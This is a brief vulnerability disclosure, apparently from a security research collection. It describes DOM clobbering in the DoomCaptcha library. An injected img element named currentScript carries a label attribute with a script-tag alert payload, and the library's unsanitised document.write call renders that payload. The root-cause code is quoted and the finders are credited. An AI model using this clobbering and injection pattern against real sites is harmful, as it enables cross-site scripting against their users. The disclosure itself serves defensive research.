Captchas don’t have to be boring.
The DoomCaptcha library uses the document.currentScript
property to load additional scripts.
<!-- user input -->
<img name="currentScript" label="<script>alert(document.domain)</script>">
<script src="https://vivirenremoto.github.io/doomcaptcha/script.js?version=16"></script>
Root Cause
var captcha_label = document.currentScript.getAttribute('label');
// [...]
var captcha_html = '';
if (captcha_label) {
captcha_html = '<p>' + captcha_label + '<br>';
}
// [...]
document.write(captcha_html);
Related links:
Found by jackfromeast, ishmeals.